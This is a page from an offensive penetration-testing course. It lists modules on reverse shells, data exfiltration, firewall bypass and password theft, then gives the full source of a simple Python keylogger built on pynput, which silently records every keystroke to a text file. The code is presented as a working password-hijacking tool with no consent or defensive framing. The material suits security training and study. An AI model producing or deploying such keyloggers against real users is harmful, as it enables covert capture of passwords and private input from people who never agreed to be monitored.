Simple keylogger in python

From course: Python For Offensive PenTest: A Complete Practical Course.

General index of the course

• Gaining persistence shells (TCP + HTTP):
  • Coding a TCP connection and a reverse shell.
  • Coding a low level data exfiltration - TCP connection.
  • Coding an http reverse shell.
  • Coding a data exfiltration script for a http shell.
  • Tunning the connection attempts.
  • Including cd command into TCP reverse shell.
• Advanced scriptable shells:
  • Using a Dynamic DNS instead of your bared attacker public ip.
  • Making your binary persistent.
  • Making a screenshot.
  • Coding a reverse shell that searches files.
• Techniques for bypassing filters:
  • Coding a reverse shell that scans ports.
  • Hickjack the Internet Explorer process to bypass an host-based firewall.
  • Bypassing Next Generation Firewalls.
  • Bypassing IPS with handmade XOR Encryption.
• Malware and crytography:
  • TCP reverse shell with AES encryption.
  • TCP reverse shell with RSA encryption.
  • TCP reverse shell with hybrid encryption AES + RSA.
• Password Hickjacking:
  • Simple keylogger in python.
  • Hijacking Keepass Password Manager.
  • Dumping saved passwords from Google Chrome.
  • Man in the browser attack.
  • DNS Poisoning.
• Privilege escalation:
  • Weak service file permission.

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
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#Ref: https://pythonhosted.org/pynput/keyboard.html#monitoring-the-keyboard

from pynput.keyboard import Key, Listener

def on_press(key):
    fp=open("keylogs.txt","a") #create a text file and append the key in it
    print(key)
    fp.write(str(key)+"\n")
    fp.close()

with Listener(on_press=on_press) as listener: # if key is pressed, call on_press function
    listener.join()

Last update: 2024-03-29
Created: April 20, 2023 16:58:49